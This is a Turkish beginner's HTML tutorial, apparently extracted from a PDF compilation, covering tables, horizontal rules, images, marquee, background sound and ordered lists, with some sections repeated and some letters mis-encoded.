</html>
Kullanılan parametreler
<td> için :
Bgcolor :Hücrenin Zemin rengini ayarlar
Background:Hücre arkaplanına bir resim yerleĢtirmekte
kullanılır
Width :Hücre geniĢliği
Height :Hücre yükselekliği
Align :Metin yaslama yönü. Left, Right ve Center
olabilir.
Her zamanki gibi yine tekrarlayalım tabloları
biçimlendirmek için artık en genel olan CSS
kullanılmalıdır. Buradaki biçimlendirme etiketlerini
sadece bilgi olarak bilmeniz yeterlidir. Bu nedenle
aĢağıdaki etiketleri tasaramlarınızda kullanmanız
önerilmez.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
78
Sütun ve Satır BirleĢtirme – Colspan- Rowspan
Bir tablonun baĢlığında ve gövdesinde yer alan hücreler
yatak ve dikey olarak komĢuları ile birleĢtirilebilirler.
Bunun için COLSPAN ve ROWSPAN etiketlerini kullanırız.
Zemin - Bgcolor
Bir tablonun, her bir satırın, her bir sütunun ve her bir
hücrenin ortak veya ayrı zemini olabilir. Bu zemin düz
renk olabileceği gibi bir resimde olabilir. Bu imkandan,
uzun ve çoğu zaman gözle takibi zor rakamlar içeren
tablolar oluĢturduğunuz zaman, satırlara biri açık, diğeri
renkli zemin vererek, izleme kolaylığı sağlamak için
yararlanabilirsiniz.
Tablonun geniĢliği- Width
Bir tablo, tarayıcı penceresindeki alan kullanımı tamamen
tasarlayan kiĢiye bağlıdır. Tablo sayfanın tümüne, belli
bir yüzdesine veya belli bir ölçüsüne yerleĢtirilebilir.
Tabloyu oluĢtururken TABLE etiketine ölçü birimi ve
miktarını eklemeniz gerekir. Örneğin, <TABLE
WIDTH=50%> ile tablonun ekranın yarısını kullanacağını
belirtmiĢ oluruz. Yüzde yerine pixel olarak mutlak ölçü de
verilebilir.
Altın kuralı hatırlayalım. Herkesin ekran geniĢliği
farklıdır. Örneği tablonuza 600 pixel geniĢlik verip sola
hizaladınız. 800x600 pixel geniĢlikteki bir ekranda tablo
güzel durabilir. Peki 19 inç ekranında 2048 geniĢlikte
çalıĢan kiĢi ne görecektir ? Solda duran ekrana göre çok
küçük bir tablo. Tablonun ortaya hizalı olması bu sorunu
bir nebze çözer ama ama width ölçüsünün yüzde olarak
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
79
verilmesi bu sorunun temel çözümüdür. Böylece ekran
büyüdükçe tablo büyür, küçüldükçede küçülür.
Tablonun Çerçevesi - Border
Bir tablonun bütün sütun ve satırları içine alan en dıĢ
çerçevesinin kalınlığını belirlemek için BORDER=xx (xx,
pixel cinsinden çerçeve kalınlığı) kullanılır. ―FRAME=x‖ ile
tablonun dıĢ ve hücreler arası çerçeve çizgilerini kontrol
edebilir ―x‖ yerine VOID yazarak tüm dıĢ çerçeveyi
kaldırabilirsiniz; ABOVE sadece tablonun üst tarafına;
BELOW sadece alt tarafına; HSIDES sadece alt ve üst
taraflara; LHS sadece sol tarafa, RHS sadece sağ tarafa,
VSIDES sadece sağ ve sol taraflara çerçeve konulmasını
sağlar.
<TABLE BORDER="1" WIDTH="100"
BGCOLOR="#C0C0C0">
<TR>
<TD WIDTH="50"> </TD> <TD WIDTH= "50">
</TD>
</TR>
</TABLE>
Not: Yukarda bazı hücrelere neden
yazıldığın gelince bunun sebebi tarayıcıların boş
olan hücreleri göstermemesi ve sayfa dizaynının
ekranda tuhaf durmasıdır.
Hücre içindeki boĢluk miktarı CELLPADDING
Cellpadding değeri bir hücredeki metnin hücrenin
kenarlık çizgisine olan uzaklığını gösterir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
80
Hücreler arası boĢluk miktarı CELLSPACING
Cellsacing değeri ise hücreler arasında bırakılacak boĢluk
miktarını gösterir.
<TABLE BORDER=X CELLPADDING=X CELLSPACING=X
WIDTH=[%veya X] HEIGHT=[% veya X] BGCOLOR=X
BACKGROUND="X"
HTML sayfalarında veriyi çizelge halinde sunmak için
tablolar düĢünülmüĢtü. Ancak tasarımcılar birden bire
bunu sayfanın iskeletini kumak içinde kullanmaya
baĢladılar. Böylece tablolar sayfalar için içerikten sonra
temel öge haline geldiler. Ancak günümüzde sürekli
yaygınlaĢan CSS kullanımı, table ve frame (çerçeve)
gerektiren durumları çok daha pratik çözmeye imkan
verdiğinden eski önemleri azalmaktadır. Buna rağmen
Table veri çizelgeleri için sürekli kullanım alanı
bulacaktır. Div etiketleri ile table etiketi kullanmadan
tablo oluĢturabilemektedir ancak bu henüz
yaygınlaĢmamıĢtır.
Bir tabloyu bir Excel sayfasına benzetebilrsiniz. En genel
hali ile ise mutfak dolabına benzetebilrsiniz. Çatal, kaĢık,
baharat, tabak, tava her Ģey kendine ait çekmecelerde
durmaktadır.
BaĢlık, Satır ve Veri Etiketleri
HTML‘de bir tablonun baĢlangıcı ve bitiĢi
<TABLE>..</TABLE> etiketiyle iĢaretlenir. Tablonun
sütun baĢlıkları <TH>..</TH>; gövdesi
<TBODY>..</TBODY> etiketiyle belirtilir. Sütun
baĢlıkları veya gövde etiketinin hemen altında tarayıcıya
bir tablo satırı baĢladığını söylemeniz gerekir. Bunu
<TR>..</TR> etiketiyle yaparız. Bu iki etiketin arasında
Tablonun değerleri, yani içinde bilgiler bulunan hücreleri
oluĢturan etiket, <TD>..</TD> yer alır. Bu iki etiketin
arasında tablonuzun ilgili hücresinde yer alacak bilgi
bulunur.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
76
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
</HEAD>
<TITLE>Tablonun Esaslari</TITLE>
<BODY>
<p><font face="Arial">
<h1><center>HTML'de Tablo</center></h1>
<table align=center border=3 width=70%>
<thead align=center>Bu tablomuzun BaĢlığı
(thead)</thead>
<thead><tr><th>Birinci sütun baĢlığı
(th)</th><th>Ġkinci sütun baĢlığı(th)</th><th>Üçüncü
sütun baĢlığı(th)</th><th>Dördüncü sütun
baĢlığı(th)</th><th>
<tbody>
<tr><td>Satır 1 Sütun 1</td><td>Satır 1 Sütun
2</td><td>Satır 1 Sütun 3</td><td>Satır 1 Sütun
4</td></tr>
<tr><td>Satır 2 Sütun 1</td><td>Satır 2 Sütun
2</td><td>Satır 2 Sütun 3</td><td>Satır 2 Sütun
4</td></tr>
<tr><td>Satır 3 Sütun 1</td><td>Satır 3 Sütun
2</td><td>Satır 3 Sütun 3</td><td>Satır 3 Sütun
4</td></tr>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
77
<tr><td>Satır 4 Sütun 1</td><td>Satır 4 Sütun
2</td><td>Satır 4 Sütun 3</td><td>Satır 4 Sütun
4</td></tr>
</tbody>
</table>
</body>
</html>
Kullanılan parametreler
<td> için :
Bgcolor :Hücrenin Zemin rengini ayarlar
Background:Hücre arkaplanına bir resim yerleĢtirmekte
kullanılır
Width :Hücre geniĢliği
Height :Hücre yükselekliği
Align :Metin yaslama yönü. Left, Right ve Center
olabilir.
Her zamanki gibi yine tekrarlayalım tabloları
biçimlendirmek için artık en genel olan CSS
kullanılmalıdır. Buradaki biçimlendirme etiketlerini
sadece bilgi olarak bilmeniz yeterlidir. Bu nedenle
aĢağıdaki etiketleri tasaramlarınızda kullanmanız
önerilmez.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
78
Sütun ve Satır BirleĢtirme – Colspan- Rowspan
Bir tablonun baĢlığında ve gövdesinde yer alan hücreler
yatak ve dikey olarak komĢuları ile birleĢtirilebilirler.
Bunun için COLSPAN ve ROWSPAN etiketlerini kullanırız.
Zemin - Bgcolor
Bir tablonun, her bir satırın, her bir sütunun ve her bir
hücrenin ortak veya ayrı zemini olabilir. Bu zemin düz
renk olabileceği gibi bir resimde olabilir. Bu imkandan,
uzun ve çoğu zaman gözle takibi zor rakamlar içeren
tablolar oluĢturduğunuz zaman, satırlara biri açık, diğeri
renkli zemin vererek, izleme kolaylığı sağlamak için
yararlanabilirsiniz.
Tablonun geniĢliği- Width
Bir tablo, tarayıcı penceresindeki alan kullanımı tamamen
tasarlayan kiĢiye bağlıdır. Tablo sayfanın tümüne, belli
bir yüzdesine veya belli bir ölçüsüne yerleĢtirilebilir.
Tabloyu oluĢtururken TABLE etiketine ölçü birimi ve
miktarını eklemeniz gerekir. Örneğin, <TABLE
WIDTH=50%> ile tablonun ekranın yarısını kullanacağını
belirtmiĢ oluruz. Yüzde yerine pixel olarak mutlak ölçü de
verilebilir.
Altın kuralı hatırlayalım. Herkesin ekran geniĢliği
farklıdır. Örneği tablonuza 600 pixel geniĢlik verip sola
hizaladınız. 800x600 pixel geniĢlikteki bir ekranda tablo
güzel durabilir. Peki 19 inç ekranında 2048 geniĢlikte
çalıĢan kiĢi ne görecektir ? Solda duran ekrana göre çok
küçük bir tablo. Tablonun ortaya hizalı olması bu sorunu
bir nebze çözer ama ama width ölçüsünün yüzde olarak
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
79
verilmesi bu sorunun temel çözümüdür. Böylece ekran
büyüdükçe tablo büyür, küçüldükçede küçülür.
Tablonun Çerçevesi - Border
Bir tablonun bütün sütun ve satırları içine alan en dıĢ
çerçevesinin kalınlığını belirlemek için BORDER=xx (xx,
pixel cinsinden çerçeve kalınlığı) kullanılır. ―FRAME=x‖ ile
tablonun dıĢ ve hücreler arası çerçeve çizgilerini kontrol
edebilir ―x‖ yerine VOID yazarak tüm dıĢ çerçeveyi
kaldırabilirsiniz; ABOVE sadece tablonun üst tarafına;
BELOW sadece alt tarafına; HSIDES sadece alt ve üst
taraflara; LHS sadece sol tarafa, RHS sadece sağ tarafa,
VSIDES sadece sağ ve sol taraflara çerçeve konulmasını
sağlar.
<TABLE BORDER="1" WIDTH="100"
BGCOLOR="#C0C0C0">
<TR>
<TD WIDTH="50"> </TD> <TD WIDTH= "50">
</TD>
</TR>
</TABLE>
Not: Yukarda bazı hücrelere neden
yazıldığın gelince bunun sebebi tarayıcıların boş
olan hücreleri göstermemesi ve sayfa dizaynının
ekranda tuhaf durmasıdır.
Hücre içindeki boĢluk miktarı CELLPADDING
Cellpadding değeri bir hücredeki metnin hücrenin
kenarlık çizgisine olan uzaklığını gösterir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
80
Hücreler arası boĢluk miktarı CELLSPACING
Cellsacing değeri ise hücreler arasında bırakılacak boĢluk
miktarını gösterir.
<TABLE BORDER=X CELLPADDING=X CELLSPACING=X
WIDTH=[%veya X] HEIGHT=[% veya X] BGCOLOR=X
BACKGROUND="X"
HTML Ders 4:Resim ve multimedya dosyalarını kullanmak
<HR> Etiketi ile Çizgi OluĢturma
Yatay Çizgi (horizontal rule) etiketi, bulunduğu yerde,
belirtilen parametrelere göre yatay bir çizgi çizilmesini
sağlar. Bu etiketin kapanıĢıĢ çifti yoktur. Pencere
boyunca çizgiyi çizer ve iĢlevi biter. Parametreleri
Ģunlardır;
Width : Çizginin geniĢliğini ayarlamak için
kullanılır.
Size : Çizginin kalınlığını ayarlamak için
kullanılır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
69
Color : Çizginin rengini ayarlamak için
kullanılır.
Align :Bu parametre right,left ve center değerlerini
alabilir. Çizginin sayfadaki
yatay konumunun sola, sağa veya ortaya
hizalanmasını sağlar.
Örnek:
<HR><p> Türk Milli Takımı Kadrosu </p>
<HR width=400><p> Türk Milli Takımı Kadrosu </p>
<HR size =12 color=‖#cccccc‖><p> Türk Milli Takımı
Kadrosu </p>
Resim ve Multimedya Dosyalarını Kullanmak
Belgeye resim, video, ses dosyaları eklemek normal
içerik eklemekle aynı değildir. Örneğin bir tablo içine
istediğinizi yazıp; belgeyi açtığınızda bu yazıyı
görebilirsiniz. O metin belge içeriğinin bir parçası
durumundadır. Ama iĢ resim, ses ve video dosyalarına
gelince bu aĢamada iĢ değiĢir ve HTML sayfasında
dosyanın bulunduğu yeri belirtmeniz gerekir.
Bu iĢlem için URL adreslerinden faydalanılır. Belge
metinleri begenin içindeki yer alırken resim vs dosyaların
kendileri değilde sadece URL adresleri HTML sayfasında
yer alır. Web server böyle bir bağlantı gördüğü anda ilgili
dosyayı kontrol eder ve bulursa talepte bulanan
tarayıcıya iletir. Tarayıcılar, resim formatı olarak JPG,
GIF, PNG türlerini desteklerler.
<HTML>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
70
<HEAD>
<TITLE>ÖRNEK SAYFA</TITLE>
<META http-equiv="Content-Type"
content="text/html;charset=windows-1254">
</HEAD>
<BODY text="#0000CC">
<DIV align="center"><IMG src="img/logo1.jpg"
alt="Logo resmi"></DIV>
<H1 align="center">Fenerbahe Spor Kulübü<BR>
2006-2007 ġampiyonu</H1>
</BODY>
</HTML>
IMG etiketinin çeĢitli parametreleri vardır. Bunlar
ALT : Resim için alternatif metin belirtir. Eğer
kullanıcı tarayıcısını resimleri göstermemeye
ayarlamıĢsa, tarayıcı resim gösterme kapasitesine
sahip değilse veya en önemlisi eğer resim verilen
adreste yoksa bu metin ekranda görüntülenir.
WIDTH: Resmin ekranda görüntülenecek
boyutunu belirtir. Belirtilmez ise orijinal boyutunda
gösterilir. Farklı boyut verilirse resim fiziksel
olarak etkilenmez sadece ekranda gösterilirken
yeniden boyutlandırılır
HEIGHT: Resmin ekranda gösterilecek yüksekliğini
belirtir. Belirtilmez ise orijinal boyutunda gösterilir.
Farklı boyut verilirse resim fiziksel olarak
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
71
etkilenmez sadece ekranda gösterilirken yeniden
boyutlandırılır
BORDER: Resim için bir çerçeve çizilmesini sağlar.
ALIGN = Resmin hizalamasını belirtir. LEFT ile
sola, RIGHt ile sağa, CENTER ile ortaya hizalanır.
<IMG src="img/logo1.jpg" alt="Logo resmi">
img klasörü içindeki logo1.jpg dosyasını sola hizalı olarak
görüntüle. Alternatif metin olarak gerekirse ―logo resmi‖
metnini kullan.
<IMG src="img/logo2.jpg" width="200" height="180">
<IMG src="img/logo2.jpg" width="100" height="90">
<IMG src="img/logo2.jpg" width="50" height="45">
Resimler aynı zamanda link verme iĢlemi için
kullanılabilirler.Bu konu ilerleyen kısımlarda iĢlenmiĢtir.
Marquee ile Resim Ve Metin Kaydırma
Marque etiketi verilen parametrelere göre bir metnin
yada resmin bir yerden bir yere verilen yönde ve hızda
hareket ettirilmesi için kullanılır. Parametreleri;
Direction : Bu parametre right,up,down
değerlerinden birisini alır ve buna göre içerğin
hangi yöne kayacağı belirlenir. Up yukarı, right
sağdan, down ise aĢağı doğru kaymayı
gerçekleĢtirir.
Behavior : DavranıĢla ilgili bir parametredir.
Alternate değeri verilirse yazılar kaybolmadan
pencere içinde gider gelir. YaĢı yetenler Kara
ĢimĢek filmindeki arabanın önünde sağa sola giden
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
72
ıĢığı hatırlayacaktır. Bu iĢlem aynı etkiyi
vermektedir.
Bgcolor : Kayan yazıların arka plan rengini
belirler.
Height : Yazının kayacağı alanın yüksekliği
Width : Yazının kayacağı alanın geniĢliği
Loop : Yazının kaç kez kayacağı belirlenir.
Daha sonra da yazı durur.
Scrolldelay : Kaydırma hızı, iki hareket
arasındaki süreyi ms cinsinden belirtir
Srollamount: Kayan yazının bir defada kaç piksel
hareket edeceğini belirtir.
Marquee aslında Internet explorer‘a özgü bir etiket olup
diğer tarayıcılar tarafından kerhen desteklenmektedir.
KiĢisel tecrübelerime göre marquee etiketi çok dikkatli
kullanılmalıdır. Mutlaka diğer tarayıcılar ilede
denenmelidir. Özelikle alternate parametresi farklı
tarayıcılarda farklı davranmaktadır. Bu bakımdan
dikkatli olup tarayıcı uyumunu maksimumda
tutulmasında fayda vardır.
Marquee en çok haber baĢlıklarının dar bir alanda geçiĢ
yapması için alandan tasarruf ve vurucu etki açısından
kullanılır. Sayfaya bir nebze olsun hareket katar. Ancak
ne olursa olsun sayfada 4-5 tane her biri ayrı yöne kayan
marquee etiketi çok berbat bir dizayna sebep olur.
<MARQUEE BEHAVIOR=tip BGCOLOR=renk
DIRECTION=yön HEIGHT=n HSPACE=n LOOP=n
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
73
SCROLLAMOUNT=n SCROLLDELAY=n VSPACE=n
WIDTH=n>
Resimleri Kullanırken Dikkat Edilecekler;
1. ĠĢin durumuna göre PNG, GIF KPG kullanımına
karar verilmelidir. GIF dosyaları sadece 256 renge
kadar desteklerler. Ama daha keskin görünürler.
JPG resimler isedaha az yer kaplarlar ancak kayıplı
bir format olduğundan resimde hassasiyet kaybı
olacaktır. PNG ise GIF formatının lisans sorunlarına
çare olarak geliĢtirilmiĢ gir formattır. Ancak IE6
sürümü transparan PNG resimlerle sorunludur.
2. Büyük resimleri kullanmaktan gerekli olmadıkça
kaçınmalıdır. Hiç kimse dakikalarca bir resmin
yüklenmesini beklemez. Resim kendisi için çok
önemli ise ayrı tabii. ĠĢte bu yüzden her zaman
resimlerin boyutunun küçük, miktarının az
utulması tavsiye edilir.
3. Eğer büyük resimler kullanmak zorunlu ise,
bunların JPEG formatına çevrilip ve kalitesinin
düĢürülmesi tavsiye edilir. JPEG resimler daha hızlı
yüklenirler.
4. Siteye her girenin en son tarayıcı ve Windows
kullandığı düĢünülmeden, herkes için kod
yazılmalıdır.Resimlere her zaman ALT tagı
kullanılarak alternatif metinler verilmelidir. Böylece
resim özelliğini kapatanlar yada metin bazlı tarayıcı
kullananlarda o ekranda resim olduğunu
görebilsinler.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
74
5. GIF ve PNG dosyaları kullanıken "Interlaced" haline
getirilmeleri daha uygun olacaktır. Interlace tipli
resimler kademe kademe yüklenir ve yavaĢ yavaĢ
netleĢerek resmi daha hızlı yükleniyormuĢ gibi
gösterir. Aksi tadirde resmin tamamı yüklenmeden
görüntülenmeyecektir.
Video ve Ses Dosyalarının Kullanımı
Eğer sayfa yüklendiğinde bir ses dosyasının çalınması
istenirse <BGSOUND> etiketi kullanılabilir.
<BGSOUND SRC='ses.wav.mid' LOOP=5>
Bu Ģekilde yüklene ses sürekli aynı olacak ve
durdurulması istendiğinde bir iĢlem yapılamayacaktır.
ĠĢte bu yüzden bu yöntem çok önerilmez. Ama dinamik
bir dil yardımı ile ses dosyası rastgee değiĢecek Ģekilde
bir iĢlem yapılırsa daha iyi bir etki bırakabilir.
Video dosyası göstermek içinse <Object> etiketinin
kullanımı gerekir.
Dikkat edilecek nokta desteklenen uzantılardır.
Ayrıca kullanıcı tarafında gerekli codeclerin yüklü
olup olmadığınıda hesap etmek ve çok nadir
bulunan formatlardan kaçınmak gerekir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Yatay Çizgi (horizontal rule) etiketi, bulunduğu yerde,
belirtilen parametrelere göre yatay bir çizgi çizilmesini
sağlar. Bu etiketin kapanıĢıĢ çifti yoktur. Pencere
boyunca çizgiyi çizer ve iĢlevi biter. Parametreleri
Ģunlardır;
Width : Çizginin geniĢliğini ayarlamak için
kullanılır.
Size : Çizginin kalınlığını ayarlamak için
kullanılır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
69
Color : Çizginin rengini ayarlamak için
kullanılır.
Align :Bu parametre right,left ve center değerlerini
alabilir. Çizginin sayfadaki
yatay konumunun sola, sağa veya ortaya
hizalanmasını sağlar.
Örnek:
<HR><p> Türk Milli Takımı Kadrosu </p>
<HR width=400><p> Türk Milli Takımı Kadrosu </p>
<HR size =12 color=‖#cccccc‖><p> Türk Milli Takımı
Kadrosu </p>
Resim ve Multimedya Dosyalarını Kullanmak
Belgeye resim, video, ses dosyaları eklemek normal
içerik eklemekle aynı değildir. Örneğin bir tablo içine
istediğinizi yazıp; belgeyi açtığınızda bu yazıyı
görebilirsiniz. O metin belge içeriğinin bir parçası
durumundadır. Ama iĢ resim, ses ve video dosyalarına
gelince bu aĢamada iĢ değiĢir ve HTML sayfasında
dosyanın bulunduğu yeri belirtmeniz gerekir.
Bu iĢlem için URL adreslerinden faydalanılır. Belge
metinleri begenin içindeki yer alırken resim vs dosyaların
kendileri değilde sadece URL adresleri HTML sayfasında
yer alır. Web server böyle bir bağlantı gördüğü anda ilgili
dosyayı kontrol eder ve bulursa talepte bulanan
tarayıcıya iletir. Tarayıcılar, resim formatı olarak JPG,
GIF, PNG türlerini desteklerler.
<HTML>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
70
<HEAD>
<TITLE>ÖRNEK SAYFA</TITLE>
<META http-equiv="Content-Type"
content="text/html;charset=windows-1254">
</HEAD>
<BODY text="#0000CC">
<DIV align="center"><IMG src="img/logo1.jpg"
alt="Logo resmi"></DIV>
<H1 align="center">Fenerbahe Spor Kulübü<BR>
2006-2007 ġampiyonu</H1>
</BODY>
</HTML>
IMG etiketinin çeĢitli parametreleri vardır. Bunlar
ALT : Resim için alternatif metin belirtir. Eğer
kullanıcı tarayıcısını resimleri göstermemeye
ayarlamıĢsa, tarayıcı resim gösterme kapasitesine
sahip değilse veya en önemlisi eğer resim verilen
adreste yoksa bu metin ekranda görüntülenir.
WIDTH: Resmin ekranda görüntülenecek
boyutunu belirtir. Belirtilmez ise orijinal boyutunda
gösterilir. Farklı boyut verilirse resim fiziksel
olarak etkilenmez sadece ekranda gösterilirken
yeniden boyutlandırılır
HEIGHT: Resmin ekranda gösterilecek yüksekliğini
belirtir. Belirtilmez ise orijinal boyutunda gösterilir.
Farklı boyut verilirse resim fiziksel olarak
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
71
etkilenmez sadece ekranda gösterilirken yeniden
boyutlandırılır
BORDER: Resim için bir çerçeve çizilmesini sağlar.
ALIGN = Resmin hizalamasını belirtir. LEFT ile
sola, RIGHt ile sağa, CENTER ile ortaya hizalanır.
<IMG src="img/logo1.jpg" alt="Logo resmi">
img klasörü içindeki logo1.jpg dosyasını sola hizalı olarak
görüntüle. Alternatif metin olarak gerekirse ―logo resmi‖
metnini kullan.
<IMG src="img/logo2.jpg" width="200" height="180">
<IMG src="img/logo2.jpg" width="100" height="90">
<IMG src="img/logo2.jpg" width="50" height="45">
Resimler aynı zamanda link verme iĢlemi için
kullanılabilirler.Bu konu ilerleyen kısımlarda iĢlenmiĢtir.
Marquee ile Resim Ve Metin Kaydırma
Marque etiketi verilen parametrelere göre bir metnin
yada resmin bir yerden bir yere verilen yönde ve hızda
hareket ettirilmesi için kullanılır. Parametreleri;
Direction : Bu parametre right,up,down
değerlerinden birisini alır ve buna göre içerğin
hangi yöne kayacağı belirlenir. Up yukarı, right
sağdan, down ise aĢağı doğru kaymayı
gerçekleĢtirir.
Behavior : DavranıĢla ilgili bir parametredir.
Alternate değeri verilirse yazılar kaybolmadan
pencere içinde gider gelir. YaĢı yetenler Kara
ĢimĢek filmindeki arabanın önünde sağa sola giden
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
72
ıĢığı hatırlayacaktır. Bu iĢlem aynı etkiyi
vermektedir.
Bgcolor : Kayan yazıların arka plan rengini
belirler.
Height : Yazının kayacağı alanın yüksekliği
Width : Yazının kayacağı alanın geniĢliği
Loop : Yazının kaç kez kayacağı belirlenir.
Daha sonra da yazı durur.
Scrolldelay : Kaydırma hızı, iki hareket
arasındaki süreyi ms cinsinden belirtir
Srollamount: Kayan yazının bir defada kaç piksel
hareket edeceğini belirtir.
Marquee aslında Internet explorer‘a özgü bir etiket olup
diğer tarayıcılar tarafından kerhen desteklenmektedir.
KiĢisel tecrübelerime göre marquee etiketi çok dikkatli
kullanılmalıdır. Mutlaka diğer tarayıcılar ilede
denenmelidir. Özelikle alternate parametresi farklı
tarayıcılarda farklı davranmaktadır. Bu bakımdan
dikkatli olup tarayıcı uyumunu maksimumda
tutulmasında fayda vardır.
Marquee en çok haber baĢlıklarının dar bir alanda geçiĢ
yapması için alandan tasarruf ve vurucu etki açısından
kullanılır. Sayfaya bir nebze olsun hareket katar. Ancak
ne olursa olsun sayfada 4-5 tane her biri ayrı yöne kayan
marquee etiketi çok berbat bir dizayna sebep olur.
<MARQUEE BEHAVIOR=tip BGCOLOR=renk
DIRECTION=yön HEIGHT=n HSPACE=n LOOP=n
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
73
SCROLLAMOUNT=n SCROLLDELAY=n VSPACE=n
WIDTH=n>
Resimleri Kullanırken Dikkat Edilecekler;
1. ĠĢin durumuna göre PNG, GIF KPG kullanımına
karar verilmelidir. GIF dosyaları sadece 256 renge
kadar desteklerler. Ama daha keskin görünürler.
JPG resimler isedaha az yer kaplarlar ancak kayıplı
bir format olduğundan resimde hassasiyet kaybı
olacaktır. PNG ise GIF formatının lisans sorunlarına
çare olarak geliĢtirilmiĢ gir formattır. Ancak IE6
sürümü transparan PNG resimlerle sorunludur.
2. Büyük resimleri kullanmaktan gerekli olmadıkça
kaçınmalıdır. Hiç kimse dakikalarca bir resmin
yüklenmesini beklemez. Resim kendisi için çok
önemli ise ayrı tabii. ĠĢte bu yüzden her zaman
resimlerin boyutunun küçük, miktarının az
utulması tavsiye edilir.
3. Eğer büyük resimler kullanmak zorunlu ise,
bunların JPEG formatına çevrilip ve kalitesinin
düĢürülmesi tavsiye edilir. JPEG resimler daha hızlı
yüklenirler.
4. Siteye her girenin en son tarayıcı ve Windows
kullandığı düĢünülmeden, herkes için kod
yazılmalıdır.Resimlere her zaman ALT tagı
kullanılarak alternatif metinler verilmelidir. Böylece
resim özelliğini kapatanlar yada metin bazlı tarayıcı
kullananlarda o ekranda resim olduğunu
görebilsinler.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
74
5. GIF ve PNG dosyaları kullanıken "Interlaced" haline
getirilmeleri daha uygun olacaktır. Interlace tipli
resimler kademe kademe yüklenir ve yavaĢ yavaĢ
netleĢerek resmi daha hızlı yükleniyormuĢ gibi
gösterir. Aksi tadirde resmin tamamı yüklenmeden
görüntülenmeyecektir.
Video ve Ses Dosyalarının Kullanımı
Eğer sayfa yüklendiğinde bir ses dosyasının çalınması
istenirse <BGSOUND> etiketi kullanılabilir.
<BGSOUND SRC='ses.wav.mid' LOOP=5>
Bu Ģekilde yüklene ses sürekli aynı olacak ve
durdurulması istendiğinde bir iĢlem yapılamayacaktır.
ĠĢte bu yüzden bu yöntem çok önerilmez. Ama dinamik
bir dil yardımı ile ses dosyası rastgee değiĢecek Ģekilde
bir iĢlem yapılırsa daha iyi bir etki bırakabilir.
Video dosyası göstermek içinse <Object> etiketinin
kullanımı gerekir.
Dikkat edilecek nokta desteklenen uzantılardır.
Ayrıca kullanıcı tarafında gerekli codeclerin yüklü
olup olmadığınıda hesap etmek ve çok nadir
bulunan formatlardan kaçınmak gerekir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
HTML Ders 3:Sıralı ve Sırasız Listeler
Sıralı Listeler
<OL>..</OL>: Sıralı (Ordered) listeler, baĢına,
tasarımcının isteğine bağlı olarak, rakam, harf yada özel
bir karakter koyarak, yazılmıĢ listelerdir. Listenin
baĢladığını ve bittiğini belirten bu iki etiketin arasına liste
satırları (list item) <LI> </LI> etiketleri arasında yazılır.
TYPE : Etiketi biçimlendirir.
o ―1‖ rakamla;
o ―A‖ büyük harfle;
o ―a‖ küçük harfle;
o ―i‖ küçük Romen rakamları ile;
o ―I‖ büyük Romen rakamları ile sıralanmayı
sağlar
COMPACT: listenin mümkün olduğu kadar az satır
aralığı ile verilmesine yarar
START : listenin harf veya rakamdan baĢlayacağını
belirtir) Ģeklinde üç parametresi olabilir.
ġimdi örneğin, milli takım listesini hazırlayalım.
Yanlarındada sırt numaraları olsun.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
<title>Web Tasarım Rehberi - Renkler</title>
</head>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
66
<body>
<p><font face="Arial">
<H2>Takım Kadrosu</H2>
<ol type=1 compact>
<LI>RüĢtü</LI>
<LI>Serdar</LI>
<LI>Ümit</LI>
<LI>Önder</LI>
<LI>Emre</LI>
<LI>Yıldıray</LI>
<LI>Tümer</LI>
<LI>Tuncay</LI>
<LI>Hakan ġükür</LI>
<LI>Gökdeniz</LI>
<LI>Semih</LI>
</OL>
</font> </p>
</body>
</html>
TYPE parametresini ―1‖ değil, ―a‖ olarak değiĢtirirseniz
sayfadaki liste, bu defa rakamla değil, küçük harflerle
sıralanmıĢ olacaktır:
http://alikoker.name.tr
